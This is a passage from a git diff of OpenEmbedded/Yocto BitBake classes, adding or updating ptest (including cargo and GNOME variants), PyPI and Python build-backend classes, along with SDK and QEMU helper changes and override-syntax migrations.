do_sdk_depends[depends] = "${@get_ext_sdk_depends(d)} meta-extsdk-toolchain:do_populate_sysroot"
do_sdk_depends[recrdeptask] = "${@d.getVarFlag('do_populate_sdk', 'recrdeptask', False)}"
do_sdk_depends[recrdeptask] += "do_populate_lic do_package_qa do_populate_sysroot do_deploy ${SDK_RECRDEP_TASKS}"
-do_sdk_depends[rdepends] = "${@get_sdk_ext_rdepends(d)}"
-
-def get_sdk_ext_rdepends(d):
- localdata = d.createCopy()
- localdata.appendVar('OVERRIDES', ':task-populate-sdk-ext')
- return localdata.getVarFlag('do_populate_sdk', 'rdepends')
+do_sdk_depends[rdepends] = "${@' '.join([x + ':do_package_write_${IMAGE_PKGTYPE} ' + x + ':do_packagedata' for x in d.getVar('TOOLCHAIN_HOST_TASK_ESDK').split()])}"
do_populate_sdk_ext[dirs] = "${@d.getVarFlag('do_populate_sdk', 'dirs', False)}"
@@ -776,7 +854,7 @@ do_populate_sdk_ext[nostamp] = "1"
SDKEXTDEPLOYDIR = "${WORKDIR}/deploy-${PN}-populate-sdk-ext"
SSTATETASKS += "do_populate_sdk_ext"
-SSTATE_SKIP_CREATION_task-populate-sdk-ext = '1'
+SSTATE_SKIP_CREATION:task-populate-sdk-ext = '1'
do_populate_sdk_ext[cleandirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-inputdirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-outputdirs] = "${SDK_DEPLOY}"
diff --git a/meta/classes-recipe/ptest-cargo.bbclass b/meta/classes-recipe/ptest-cargo.bbclass
new file mode 100644
index 0000000000..c46df362bf
--- /dev/null
+++ b/meta/classes-recipe/ptest-cargo.bbclass
@@ -0,0 +1,138 @@
+inherit cargo ptest
+
+RUST_TEST_ARGS ??= ""
+RUST_TEST_ARGS[doc] = "Arguments to give to the test binaries (e.g. --shuffle)"
+
+# I didn't find a cleaner way to share data between compile and install tasks
+CARGO_TEST_BINARIES_FILES ?= "${B}/test_binaries_list"
+
+# Sadly, generated test binaries have no deterministic names (https://github.com/rust-lang/cargo/issues/1924)
+# This forces us to parse the cargo output in json format to find those test binaries.
+python do_compile_ptest_cargo() {
+ import subprocess
+ import json
+
+ cargo = bb.utils.which(d.getVar("PATH"), d.getVar("CARGO", True))
+ cargo_build_flags = d.getVar("CARGO_BUILD_FLAGS", True)
+ rust_flags = d.getVar("RUSTFLAGS", True)
+ manifest_path = d.getVar("CARGO_MANIFEST_PATH", True)
+ project_manifest_path = os.path.normpath(manifest_path)
+ manifest_dir = os.path.dirname(manifest_path)
+
+ env = os.environ.copy()
+ env['RUSTFLAGS'] = rust_flags
+ cmd = f"{cargo} build --tests --message-format json {cargo_build_flags}"
+ bb.note(f"Building tests with cargo ({cmd})")
+
+ try:
+ proc = subprocess.Popen(cmd, shell=True, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
+ except subprocess.CalledProcessError as e:
+ bb.fatal(f"Cannot build test with cargo: {e}")
+
+ lines = []
+ for line in proc.stdout:
+ data = line.strip('\n')
+ lines.append(data)
+ bb.note(data)
+ proc.communicate()
+ if proc.returncode != 0:
+ bb.fatal(f"Unable to compile test with cargo, '{cmd}' failed")
+
+ # Definition of the format: https://doc.rust-lang.org/cargo/reference/external-tools.html#json-messages
+ test_bins = []
+ for line in lines:
+ try:
+ data = json.loads(line)
+ except json.JSONDecodeError:
+ # skip lines that are not a json
+ pass
+ else:
+ try:
+ # Filter the test packages coming from the current project:
+ # - test binaries from the root manifest
+ # - test binaries from sub manifest of the current project if any
+ current_manifest_path = os.path.normpath(data['manifest_path'])
+ common_path = os.path.commonpath([current_manifest_path, project_manifest_path])
+ if common_path in [manifest_dir, current_manifest_path]:
+ if (data['target']['test'] or data['target']['doctest']) and data['executable']:
+ test_bins.append(data['executable'])
+ except (KeyError, ValueError) as e:
+ # skip lines that do not meet the requirements
+ pass
+
+ # All rust project will generate at least one unit test binary
+ # It will just run a test suite with 0 tests, if the project didn't define some
+ # So it is not expected to have an empty list here
+ if not test_bins:
+ bb.fatal("Unable to find any test binaries")
+
+ cargo_test_binaries_file = d.getVar('CARGO_TEST_BINARIES_FILES', True)
+ bb.note(f"Found {len(test_bins)} tests, write their paths into {cargo_test_binaries_file}")
+ with open(cargo_test_binaries_file, "w") as f:
+ for test_bin in test_bins:
+ f.write(f"{test_bin}\n")
+
+}
+
+python do_install_ptest_cargo() {
+ import shutil
+
+ dest_dir = d.getVar("D", True)
+ pn = d.getVar("PN", True)
+ ptest_path = d.getVar("PTEST_PATH", True)
+ cargo_test_binaries_file = d.getVar('CARGO_TEST_BINARIES_FILES', True)
+ rust_test_args = d.getVar('RUST_TEST_ARGS') or ""
+
+ ptest_dir = os.path.join(dest_dir, ptest_path.lstrip('/'))
+ os.makedirs(ptest_dir, exist_ok=True)
+
+ test_bins = []
+ with open(cargo_test_binaries_file, "r") as f:
+ for line in f.readlines():
+ test_bins.append(line.strip('\n'))
+
+ test_paths = []
+ for test_bin in test_bins:
+ shutil.copy2(test_bin, ptest_dir)
+ test_paths.append(os.path.join(ptest_path, os.path.basename(test_bin)))
+
+ ptest_script = os.path.join(ptest_dir, "run-ptest")
+ if os.path.exists(ptest_script):
+ with open(ptest_script, "a") as f:
+ f.write(f"\necho \"\"\n")
+ f.write(f"echo \"## starting to run rust tests ##\"\n")
+ for test_path in test_paths:
+ f.write(f"{test_path} {rust_test_args}\n")
+ else:
+ with open(ptest_script, "a") as f:
+ f.write("#!/bin/sh\n")
+ for test_path in test_paths:
+ f.write(f"{test_path} {rust_test_args}\n")
+ os.chmod(ptest_script, 0o755)
+
+ # this is chown -R root:root ${D}${PTEST_PATH}
+ for root, dirs, files in os.walk(ptest_dir):
+ for d in dirs:
+ shutil.chown(os.path.join(root, d), "root", "root")
+ for f in files:
+ shutil.chown(os.path.join(root, f), "root", "root")
+}
+
+do_install_ptest_cargo[dirs] = "${B}"
+do_install_ptest_cargo[doc] = "Create or update the run-ptest script with rust test binaries generated"
+do_compile_ptest_cargo[dirs] = "${B}"
+do_compile_ptest_cargo[doc] = "Generate rust test binaries through cargo"
+
+addtask compile_ptest_cargo after do_compile before do_compile_ptest_base
+addtask install_ptest_cargo after do_install_ptest_base before do_package
+
+python () {
+ if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
+ d.setVarFlag('do_install_ptest_cargo', 'fakeroot', '1')
+ d.setVarFlag('do_install_ptest_cargo', 'umask', '022')
+
+ # Remove all '*ptest_cargo' tasks when ptest is not enabled
+ if not(d.getVar('PTEST_ENABLED') == "1"):
+ for i in ['do_compile_ptest_cargo', 'do_install_ptest_cargo']:
+ bb.build.deltask(i, d)
+}
diff --git a/meta/classes-recipe/ptest-gnome.bbclass b/meta/classes-recipe/ptest-gnome.bbclass
new file mode 100644
index 0000000000..d4ad22d85d
--- /dev/null
+++ b/meta/classes-recipe/ptest-gnome.bbclass
@@ -0,0 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit ptest
+
+EXTRA_OECONF:append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
+
+FILES:${PN}-ptest += "${libexecdir}/installed-tests/ \
+ ${datadir}/installed-tests/"
+
+RDEPENDS:${PN}-ptest += "gnome-desktop-testing"
diff --git a/meta/classes/ptest-perl.bbclass b/meta/classes-recipe/ptest-perl.bbclass
index a4bc40b51a..c283fdd1fc 100644
--- a/meta/classes/ptest-perl.bbclass
+++ b/meta/classes-recipe/ptest-perl.bbclass
@@ -1,6 +1,12 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit ptest
-FILESEXTRAPATHS_prepend := "${COREBASE}/meta/files:"
+FILESEXTRAPATHS:prepend := "${COREBASE}/meta/files:"
SRC_URI += "file://ptest-perl/run-ptest"
@@ -13,9 +19,9 @@ do_install_ptest_perl() {
chown -R root:root ${D}${PTEST_PATH}
}
-FILES_${PN}-ptest_prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
+FILES:${PN}-ptest:prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
-RDEPENDS_${PN}-ptest_prepend = "perl "
+RDEPENDS:${PN}-ptest:prepend = "perl "
addtask install_ptest_perl after do_install_ptest_base before do_package
diff --git a/meta/classes-recipe/ptest.bbclass b/meta/classes-recipe/ptest.bbclass
new file mode 100644
index 0000000000..348d729aef
--- /dev/null
+++ b/meta/classes-recipe/ptest.bbclass
@@ -0,0 +1,142 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+SUMMARY:${PN}-ptest ?= "${SUMMARY} - Package test files"
+DESCRIPTION:${PN}-ptest ?= "${DESCRIPTION} \
+This package contains a test directory ${PTEST_PATH} for package test purposes."
+
+PTEST_PATH ?= "${libdir}/${BPN}/ptest"
+PTEST_BUILD_HOST_FILES ?= "Makefile"
+PTEST_BUILD_HOST_PATTERN ?= ""
+PTEST_PARALLEL_MAKE ?= "${PARALLEL_MAKE}"
+PTEST_PARALLEL_MAKEINST ?= "${PARALLEL_MAKEINST}"
+EXTRA_OEMAKE:prepend:task-compile-ptest-base = "${PTEST_PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-install-ptest-base = "${PTEST_PARALLEL_MAKEINST} "
+
+FILES:${PN}-ptest += "${PTEST_PATH}"
+SECTION:${PN}-ptest = "devel"
+ALLOW_EMPTY:${PN}-ptest = "1"
+PTEST_ENABLED = "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '1', '0', d)}"
+PTEST_ENABLED:class-native = ""
+PTEST_ENABLED:class-nativesdk = ""
+PTEST_ENABLED:class-cross-canadian = ""
+RDEPENDS:${PN}-ptest += "${PN}"
+RDEPENDS:${PN}-ptest:class-native = ""
+RDEPENDS:${PN}-ptest:class-nativesdk = ""
+RRECOMMENDS:${PN}-ptest += "ptest-runner"
+
+PACKAGES =+ "${@bb.utils.contains('PTEST_ENABLED', '1', '${PN}-ptest', '', d)}"
+
+require conf/distro/include/ptest-packagelists.inc
+
+do_configure_ptest() {
+ :
+}
+
+do_configure_ptest_base() {
+ do_configure_ptest
+}
+
+do_compile_ptest() {
+ :
+}
+
+do_compile_ptest_base() {
+ do_compile_ptest
+}
+
+do_install_ptest() {
+ :
+}
+
+do_install_ptest_base() {
+ if [ -f ${WORKDIR}/run-ptest ]; then
+ install -D ${WORKDIR}/run-ptest ${D}${PTEST_PATH}/run-ptest
+ fi
+
+ grep -q install-ptest: Makefile 2>/dev/null && oe_runmake DESTDIR=${D}${PTEST_PATH} install-ptest
+
+ do_install_ptest
+ chown -R root:root ${D}${PTEST_PATH}
+
+ # Strip build host paths from any installed Makefile
+ for filename in ${PTEST_BUILD_HOST_FILES}; do
+ for installed_ptest_file in $(find ${D}${PTEST_PATH} -type f -name $filename); do
+ bbnote "Stripping host paths from: $installed_ptest_file"
+ sed -e 's#${HOSTTOOLS_DIR}/*##g' \
+ -e 's#${WORKDIR}/*=#.=#g' \
+ -e 's#${WORKDIR}/*##g' \
+ -i $installed_ptest_file
+ if [ -n "${PTEST_BUILD_HOST_PATTERN}" ]; then
+ sed -E '/${PTEST_BUILD_HOST_PATTERN}/d' \
+ -i $installed_ptest_file
+ fi
+ done
+ done
+}
+
+PTEST_BINDIR_PKGD_PATH = "${PKGD}${PTEST_PATH}/bin"
+
+# This function needs to run after apply_update_alternative_renames because the
+# aforementioned function will update the ALTERNATIVE_LINK_NAME flag. Append is
+# used here to make this function to run as late as possible.
+PACKAGE_PREPROCESS_FUNCS:append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
+ bb.utils.contains('PTEST_ENABLED', '1', ' ptest_update_alternatives', '', d), '', d)}"
+
+python ptest_update_alternatives() {
+ """
+ This function will generate the symlinks in the PTEST_BINDIR_PKGD_PATH
+ to match the renamed binaries by update-alternatives.
+ """
+
+ if not bb.data.inherits_class('update-alternatives', d) \
+ or not update_alternatives_enabled(d):
+ return
+
+ bb.note("Generating symlinks for ptest")
+ bin_paths = { d.getVar("bindir"), d.getVar("base_bindir"),
+ d.getVar("sbindir"), d.getVar("base_sbindir") }
+ ptest_bindir = d.getVar("PTEST_BINDIR_PKGD_PATH")
+ os.mkdir(ptest_bindir)
+ for pkg in (d.getVar('PACKAGES') or "").split():
+ alternatives = update_alternatives_alt_targets(d, pkg)
+ for alt_name, alt_link, alt_target, _ in alternatives:
+ # Some alternatives are for man pages,
+ # check if the alternative is in PATH
+ if os.path.dirname(alt_link) in bin_paths:
+ os.symlink(alt_target, os.path.join(ptest_bindir, alt_name))
+}
+
+do_configure_ptest_base[dirs] = "${B}"
+do_compile_ptest_base[dirs] = "${B}"
+do_install_ptest_base[dirs] = "${B}"
+do_install_ptest_base[cleandirs] = "${D}${PTEST_PATH}"
+
+addtask configure_ptest_base after do_configure before do_compile
+addtask compile_ptest_base after do_compile before do_install
+addtask install_ptest_base after do_install before do_package do_populate_sysroot
+
+python () {
+ if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
+ d.setVarFlag('do_install_ptest_base', 'fakeroot', '1')
+ d.setVarFlag('do_install_ptest_base', 'umask', '022')
+
+ # Remove all '*ptest_base' tasks when ptest is not enabled
+ if not(d.getVar('PTEST_ENABLED') == "1"):
+ for i in ['do_configure_ptest_base', 'do_compile_ptest_base', 'do_install_ptest_base']:
+ bb.build.deltask(i, d)
+}
+
+QARECIPETEST[missing-ptest] = "package_qa_check_missing_ptest"
+def package_qa_check_missing_ptest(pn, d, messages):
+ # This checks that ptest package is actually included
+ # in standard oe-core ptest images - only for oe-core recipes
+ if not 'meta/recipes' in d.getVar('FILE') or not(d.getVar('PTEST_ENABLED') == "1"):
+ return
+
+ enabled_ptests = " ".join([d.getVar('PTESTS_FAST'), d.getVar('PTESTS_SLOW'), d.getVar('PTESTS_PROBLEMS')]).split()
+ if pn.replace(d.getVar('MLPREFIX'), '') not in enabled_ptests:
+ oe.qa.handle_error("missing-ptest", "supports ptests but is not included in oe-core's ptest-packagelists.inc", d)
diff --git a/meta/classes-recipe/pypi.bbclass b/meta/classes-recipe/pypi.bbclass
new file mode 100644
index 0000000000..c6bbe8119a
--- /dev/null
+++ b/meta/classes-recipe/pypi.bbclass
@@ -0,0 +1,43 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+def pypi_package(d):
+ bpn = d.getVar('BPN')
+ if bpn.startswith('python-'):
+ return bpn[7:]
+ elif bpn.startswith('python3-'):
+ return bpn[8:]
+ return bpn
+
+# The PyPi package name (defaults to PN without the python3- prefix)
+PYPI_PACKAGE ?= "${@pypi_package(d)}"
+# The file extension of the source archive
+PYPI_PACKAGE_EXT ?= "tar.gz"
+# An optional prefix for the download file in the case of name collisions
+PYPI_ARCHIVE_NAME_PREFIX ?= ""
+
+def pypi_src_uri(d):
+ """
+ Construct a source URL as per https://warehouse.pypa.io/api-reference/integration-guide.html#predictable-urls.
+ """
+ package = d.getVar('PYPI_PACKAGE')
+ archive_name = d.expand('${PYPI_PACKAGE}-${PV}.${PYPI_PACKAGE_EXT}')
+ archive_downloadname = d.getVar('PYPI_ARCHIVE_NAME_PREFIX') + archive_name
+ return 'https://files.pythonhosted.org/packages/source/%s/%s/%s;downloadfilename=%s' % (package[0], package, archive_name, archive_downloadname)
+
+PYPI_SRC_URI ?= "${@pypi_src_uri(d)}"
+
+HOMEPAGE ?= "https://pypi.python.org/pypi/${PYPI_PACKAGE}/"
+SECTION = "devel/python"
+SRC_URI:prepend = "${PYPI_SRC_URI} "
+S = "${WORKDIR}/${PYPI_PACKAGE}-${PV}"
+
+# Replace any '_' characters in the pypi URI with '-'s to follow the PyPi website naming conventions
+UPSTREAM_CHECK_PYPI_PACKAGE ?= "${@d.getVar('PYPI_PACKAGE').replace('_', '-')}"
+UPSTREAM_CHECK_URI ?= "https://pypi.org/project/${UPSTREAM_CHECK_PYPI_PACKAGE}/"
+UPSTREAM_CHECK_REGEX ?= "/${UPSTREAM_CHECK_PYPI_PACKAGE}/(?P<pver>(\d+[\.\-_]*)+)/"
+
+CVE_PRODUCT ?= "python:${PYPI_PACKAGE}"
diff --git a/meta/classes-recipe/python3-dir.bbclass b/meta/classes-recipe/python3-dir.bbclass
new file mode 100644
index 0000000000..3d07de99b8
--- /dev/null
+++ b/meta/classes-recipe/python3-dir.bbclass
@@ -0,0 +1,11 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+PYTHON_BASEVERSION = "3.12"
+PYTHON_ABI = ""
+PYTHON_DIR = "python${PYTHON_BASEVERSION}"
+PYTHON_PN = "python3"
+PYTHON_SITEPACKAGES_DIR = "${libdir}/${PYTHON_DIR}/site-packages"
diff --git a/meta/classes/python3native.bbclass b/meta/classes-recipe/python3native.bbclass
index d98fb4c758..654a002fdb 100644
--- a/meta/classes/python3native.bbclass
+++ b/meta/classes-recipe/python3native.bbclass
@@ -1,10 +1,16 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit python3-dir
PYTHON="${STAGING_BINDIR_NATIVE}/python3-native/python3"
EXTRANATIVEPATH += "python3-native"
-DEPENDS_append = " python3-native "
+DEPENDS:append = " python3-native "
-# python-config and other scripts are using distutils modules
+# python-config and other scripts are using sysconfig modules
# which we patch to access these variables
export STAGING_INCDIR
export STAGING_LIBDIR
@@ -17,8 +23,6 @@ export STAGING_LIBDIR
export PYTHON_LIBRARY="${STAGING_LIBDIR}/lib${PYTHON_DIR}${PYTHON_ABI}.so"
export PYTHON_INCLUDE_DIR="${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}"
-export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
-
# suppress host user's site-packages dirs.
export PYTHONNOUSERSITE = "1"
diff --git a/meta/classes-recipe/python3targetconfig.bbclass b/meta/classes-recipe/python3targetconfig.bbclass
new file mode 100644
index 0000000000..08bc619398
--- /dev/null
+++ b/meta/classes-recipe/python3targetconfig.bbclass
@@ -0,0 +1,41 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python3native
+
+EXTRA_PYTHON_DEPENDS ?= ""
+EXTRA_PYTHON_DEPENDS:class-target = "python3"
+DEPENDS:append = " ${EXTRA_PYTHON_DEPENDS}"
+
+setup_target_config() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+ export PYTHONPATH=${STAGING_LIBDIR}/python-sysconfigdata:$PYTHONPATH
+ export PATH=${STAGING_EXECPREFIXDIR}/python-target-config/:$PATH
+}
+
+do_configure:prepend:class-target() {
+ setup_target_config
+}
+
+do_compile:prepend:class-target() {
+ setup_target_config
+}
+
+do_install:prepend:class-target() {
+ setup_target_config
+}
+
+do_configure:prepend:class-nativesdk() {
+ setup_target_config
+}
+
+do_compile:prepend:class-nativesdk() {
+ setup_target_config
+}
+
+do_install:prepend:class-nativesdk() {
+ setup_target_config
+}
diff --git a/meta/classes-recipe/python_flit_core.bbclass b/meta/classes-recipe/python_flit_core.bbclass
new file mode 100644
index 0000000000..a0b1feb70a
--- /dev/null
+++ b/meta/classes-recipe/python_flit_core.bbclass
@@ -0,0 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python_pep517 python3native python3-dir setuptools3-base
+
+DEPENDS += "python3 python3-flit-core-native"
+
+python_flit_core_do_manual_build () {
+ cd ${PEP517_SOURCE_PATH}
+ nativepython3 -m flit_core.wheel --outdir ${PEP517_WHEEL_PATH} .
+}
diff --git a/meta/classes-recipe/python_hatchling.bbclass b/meta/classes-recipe/python_hatchling.bbclass
new file mode 100644
index 0000000000..b5a3c3feea
--- /dev/null
+++ b/meta/classes-recipe/python_hatchling.bbclass
@@ -0,0 +1,27 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python_pep517 python3native python3-dir setuptools3-base
+
+DEPENDS += "python3-hatchling-native"
+
+# delete nested, empty directories from the python site-packages path. Make
+# sure that we remove the native ones for target builds as well
+hatchling_rm_emptydirs:class-target () {
+ find ${STAGING_LIBDIR}/${PYTHON_DIR}/site-packages/* -depth -type d -empty -delete
+ find ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/* -depth -type d -empty -delete
+}
+
+hatchling_rm_emptydirs:class-native () {
+ find ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/* -depth -type d -empty -delete
+}
+
+# Define a default empty version of hatchling_rm_emptydirs to appease bitbake
+hatchling_rm_emptydirs () {
+ :
+}
+
+do_prepare_recipe_sysroot[postfuncs] += " hatchling_rm_emptydirs"
diff --git a/meta/classes-recipe/python_maturin.bbclass b/meta/classes-recipe/python_maturin.bbclass
new file mode 100644
index 0000000000..c39d6c6e37
--- /dev/null
+++ b/meta/classes-recipe/python_maturin.bbclass
@@ -0,0 +1,17 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python_pyo3 python_setuptools_build_meta
+
+DEPENDS += "python3-maturin-native"
+
+python_maturin_do_configure() {
+ python_pyo3_do_configure
+ cargo_common_do_configure
+ python_pep517_do_configure
+}
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes-recipe/python_mesonpy.bbclass b/meta/classes-recipe/python_mesonpy.bbclass
new file mode 100644
index 0000000000..131fa74bed
--- /dev/null
+++ b/meta/classes-recipe/python_mesonpy.bbclass
@@ -0,0 +1,52 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit meson setuptools3-base python3targetconfig python_pep517
+
+# meson_do_qa_configure does the wrong thing here because
+# mesonpy runs "meson setup ..." in do_compile context.
+# Make it a dummy function.
+meson_do_qa_configure () {
+ :
+}
+
+# This prevents the meson error:
+# ERROR: Got argument buildtype as both -Dbuildtype and --buildtype. Pick one.
+MESONOPTS:remove = "--buildtype ${MESON_BUILDTYPE}"
+
+CONFIGURE_FILES = "pyproject.toml"
+
+DEPENDS += "python3-wheel-native python3-meson-python-native"
+
+def mesonpy_get_args(d):
+ vars = ['MESONOPTS', 'MESON_CROSS_FILE', 'EXTRA_OEMESON']
+ varlist = []
+ for var in vars:
+ value = d.getVar(var)
+ vallist = value.split()
+ for elem in vallist:
+ varlist.append("-Csetup-args=" + elem)
+ return ' '.join(varlist)
+
+PEP517_BUILD_OPTS = "-Cbuilddir='${B}' ${@mesonpy_get_args(d)}"
+
+# Python pyx -> c -> so build leaves absolute build paths in the code
+INSANE_SKIP:${PN} += "buildpaths"
+INSANE_SKIP:${PN}-src += "buildpaths"
+
+python_mesonpy_do_configure () {
+ python_pep517_do_configure
+}
+
+python_mesonpy_do_compile () {
+ python_pep517_do_compile
+}
+
+python_mesonpy_do_install () {
+ python_pep517_do_install
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes-recipe/python_pep517.bbclass b/meta/classes-recipe/python_pep517.bbclass
new file mode 100644
index 0000000000..c30674c8ec
--- /dev/null
+++ b/meta/classes-recipe/python_pep517.bbclass
@@ -0,0 +1,61 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Common infrastructure for Python packages that use PEP-517 compliant packaging.
+# https://www.python.org/dev/peps/pep-0517/
+#
+# This class will build a wheel in do_compile, and use pypa/installer to install
+# it in do_install.
+
+DEPENDS:append = " python3-build-native python3-installer-native"
+
+# Where to execute the build process from
+PEP517_SOURCE_PATH ?= "${S}"
+
+# The directory where wheels will be written
+PEP517_WHEEL_PATH ?= "${WORKDIR}/dist"
+
+# Other options to pass to build
+PEP517_BUILD_OPTS ?= ""
+
+# The interpreter to use for installed scripts
+PEP517_INSTALL_PYTHON = "python3"
+PEP517_INSTALL_PYTHON:class-native = "nativepython3"
+
+# pypa/installer option to control the bytecode compilation
+INSTALL_WHEEL_COMPILE_BYTECODE ?= "--compile-bytecode=0"
+
+# PEP517 doesn't have a specific configure step, so set an empty do_configure to avoid
+# running base_do_configure.
+python_pep517_do_configure () {
+ :
+}
+
+# When we have Python 3.11 we can parse pyproject.toml to determine the build
+# API entry point directly
+python_pep517_do_compile () {
+ nativepython3 -m build --no-isolation --wheel --outdir ${PEP517_WHEEL_PATH} ${PEP517_SOURCE_PATH} ${PEP517_BUILD_OPTS}
+}
+do_compile[cleandirs] += "${PEP517_WHEEL_PATH}"
+
+python_pep517_do_install () {
+ COUNT=$(find ${PEP517_WHEEL_PATH} -name '*.whl' -maxdepth 1 | wc -l)
+ if test $COUNT -eq 0; then
+ bbfatal No wheels found in ${PEP517_WHEEL_PATH}
+ elif test $COUNT -gt 1; then
+ bbfatal More than one wheel found in ${PEP517_WHEEL_PATH}, this should not happen
+ fi
+
+ nativepython3 -m installer ${INSTALL_WHEEL_COMPILE_BYTECODE} --interpreter "${USRBINPATH}/env ${PEP517_INSTALL_PYTHON}" --destdir=${D} ${PEP517_WHEEL_PATH}/*.whl
+}
+
+# A manual do_install that just uses unzip for bootstrapping purposes. Callers should DEPEND on unzip-native.
+python_pep517_do_bootstrap_install () {
+ install -d ${D}${PYTHON_SITEPACKAGES_DIR}
+ unzip -d ${D}${PYTHON_SITEPACKAGES_DIR} ${PEP517_WHEEL_PATH}/*.whl
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes-recipe/python_poetry_core.bbclass b/meta/classes-recipe/python_poetry_core.bbclass
new file mode 100644
index 0000000000..c7dc5d0382
--- /dev/null
+++ b/meta/classes-recipe/python_poetry_core.bbclass
@@ -0,0 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python_pep517 python3native setuptools3-base
+
+DEPENDS += "python3-poetry-core-native"
diff --git a/meta/classes-recipe/python_pyo3.bbclass b/meta/classes-recipe/python_pyo3.bbclass
new file mode 100644
index 0000000000..9a32eac6fd
--- /dev/null
+++ b/meta/classes-recipe/python_pyo3.bbclass
@@ -0,0 +1,36 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# This class helps make sure that Python extensions built with PyO3
+# and setuptools_rust properly set up the environment for cross compilation
+#
+
+inherit cargo python3-dir siteinfo
+
+export PYO3_CROSS="1"
+export PYO3_CROSS_PYTHON_VERSION="${PYTHON_BASEVERSION}"
+export PYO3_CROSS_LIB_DIR="${STAGING_LIBDIR}"
+export CARGO_BUILD_TARGET="${RUST_HOST_SYS}"
+export RUSTFLAGS
+export PYO3_PYTHON="${PYTHON}"
+export PYO3_CONFIG_FILE="${WORKDIR}/pyo3.config"
+
+python_pyo3_do_configure () {
+ cat > ${WORKDIR}/pyo3.config << EOF
+implementation=CPython
+version=${PYTHON_BASEVERSION}
+shared=true
+abi3=false
+lib_name=${PYTHON_DIR}
+lib_dir=${STAGING_LIBDIR}
+pointer_width=${SITEINFO_BITS}
+build_flags=WITH_THREAD
+suppress_build_script_link_lines=false
+EOF
+}
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes-recipe/python_setuptools3_rust.bbclass b/meta/classes-recipe/python_setuptools3_rust.bbclass
new file mode 100644
index 0000000000..d3d7590cbe
--- /dev/null
+++ b/meta/classes-recipe/python_setuptools3_rust.bbclass
@@ -0,0 +1,17 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python_pyo3 python_setuptools_build_meta
+
+DEPENDS += "python3-setuptools-rust-native"
+
+python_setuptools3_rust_do_configure() {
+ python_pyo3_do_configure
+ cargo_common_do_configure
+ python_pep517_do_configure
+}
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes-recipe/python_setuptools_build_meta.bbclass b/meta/classes-recipe/python_setuptools_build_meta.bbclass
new file mode 100644
index 0000000000..4c84d1e8d0
--- /dev/null
+++ b/meta/classes-recipe/python_setuptools_build_meta.bbclass
@@ -0,0 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit setuptools3-base python_pep517
+
+DEPENDS += "python3-setuptools-native python3-wheel-native"
diff --git a/meta/classes/qemu.bbclass b/meta/classes-recipe/qemu.bbclass
index 55bdff816b..dbb5ee0b66 100644
--- a/meta/classes/qemu.bbclass
+++ b/meta/classes-recipe/qemu.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class contains functions for recipes that need QEMU or test for its
# existence.
#
@@ -28,7 +34,7 @@ def qemu_wrapper_cmdline(data, rootfs_path, library_paths):
if qemu_binary == "qemu-allarch":
qemu_binary = "qemuwrapper"
- qemu_options = data.getVar("QEMU_OPTIONS")
+ qemu_options = data.getVar("QEMU_OPTIONS") or ""
return "PSEUDO_UNLOAD=1 " + qemu_binary + " " + qemu_options + " -L " + rootfs_path\
+ " -E LD_LIBRARY_PATH=" + ":".join(library_paths) + " "
@@ -64,4 +70,8 @@ QEMU_EXTRAOPTIONS_ppc64e5500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppce6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc64e6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc7400 = " -cpu 7400"
-QEMU_EXTRAOPTIONS_powerpc64le = " -cpu POWER8"
